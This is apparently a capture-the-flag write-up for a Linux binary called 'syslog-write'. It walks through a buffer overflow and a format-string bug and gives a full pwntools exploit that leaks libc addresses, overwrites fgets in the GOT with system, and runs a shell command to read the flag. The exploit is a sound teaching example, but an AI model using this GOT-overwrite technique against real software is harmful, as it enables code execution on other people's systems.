## Challenge Description
Wait what? We can write data, but where?
Flag format: CTF{sha256}
### Intuition
Checksec the binary to see what we have.
```$ checksec syslog-writeLIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILEPartial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   49 Symbols	  No	0		4		syslog-write```We have PIE disabled and Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.
We decompile the binary and find numerous vulnerabilities. First a buffer overflow is present in the ``main`` function, when we read the "log level":```c	printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");	__isoc99_scanf(" %[^\n]",local_222);```Sadly, we can't do much with it initially, as the function does not return. Every exit point is covered by ``exit()``.
Another vulnerability that is evident is the fact that our input gets passed directly to ``syslog``. What is great about this is that ``syslog`` uses a format string as its second argument. So we have a format string vulnerability.
```c	printf("Enter the message to write to syslog: ");	fgets(local_218,0x200,stdin);	fgets(local_218,0x200,stdin);	syslog((int)local_222,local_218);	closelog();```
### Solution
So first we obviously have to leak some data. We leak a whole lot of addresses from the stack by passing a bunch of ``"%x"`` to ``syslog``. We manually identify the return for the ``main`` function. We can make our lives easier by passing a bunch of "a" characters to the vulnerable buffer, to create a pattern of "a" characters leading up to the return address.
After leaking and checking in the debugger, we find out the return address for main leads to ``__libc_init_first``. We find the libc version using the [libc database](https://libc.blukat.me/) and we save some offsets to ``system`` from there. In the exploit we next calculate the address for ``system`` and use a classic arbitrary write primitive from the format string vulnerability. We overwrite the address of ``fgets``, found in GOT, two bytes at a time (to avoid long printing times). Now, our next input to fgets will get interpreted as a shell command. But how can we control it now that ``fgets`` is compromised? Easy, we can reuse the buffer overflow from the earlier ``scanf`` to overwrite it with a command. The exploit is below:
```py#!/usr/bin/env python3
from pwn import *
is_remote = Falsetarget = process("./syslog-write")#target = remote("34.159.3.30", 31549) 
fgets_gotplt_addr = 0x00404048fgets_gotplt_addr_next = 0x0040404a
if is_remote:    system_offset = 0x27060 # from init_firstelse:    system_offset = 159856 # from init_first
# Leak a bunch of addressestarget.sendline(b"1")target.sendline(b"a" * 0x222)target.sendline(b"%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x")
if is_remote:    target.sendline(b"2")    print(target.recvuntil(b"syslog-write"))    leak = list(reversed(target.recvline().split()))
    print(leak)	# Find the return address using the "AAAA" pattern    for i in range(len(leak)):        if leak[i] == b"61616161":            libc_init_first_leak = leak[i-1]            print(libc_init_first_leak)            libc_init_first_leak = int(libc_init_first_leak, 16)            break
else:	# get the addresses manually on local	# I had some issues with reading the syslog    libc_init_first_leak = input()
    print(libc_init_first_leak)    libc_init_first_leak = int(libc_init_first_leak, 16)    print(hex(libc_init_first_leak))
# Find system addresssystem_addr = p64(libc_init_first_leak + system_offset)print(f"System addr: {hex(libc_init_first_leak + system_offset)}")
# Prepare the bytes to be writtenx = int.from_bytes(system_addr[:2], byteorder='little')y = int.from_bytes(system_addr[2:4], byteorder='little')
print(system_addr)
# You have to make sure the stack is correctly aligned# and that the parameter access (%11$hn and %12$hn) leads to the correct addresses# Use a debugger!payload = "%{}c%11$hn%{}c%12$hnbbbbbbb".format(x, y-x).encode()print(payload)
# Overwrite fgets with systemtarget.sendline(b"1")target.sendline(p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next)) # honestly don't remember if this really matterstarget.sendline(payload + p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next))
# run /bin/cat flag.txttarget.sendline(b"1")target.sendline(b"A" * 10 + b"/bin/cat flag.txt") # overflow and win
target.interactive()```
#### Flag
```CTF{61534936dc22499d88206f04c36ccda47290ad4656345033c6c88f06a86a2b92}```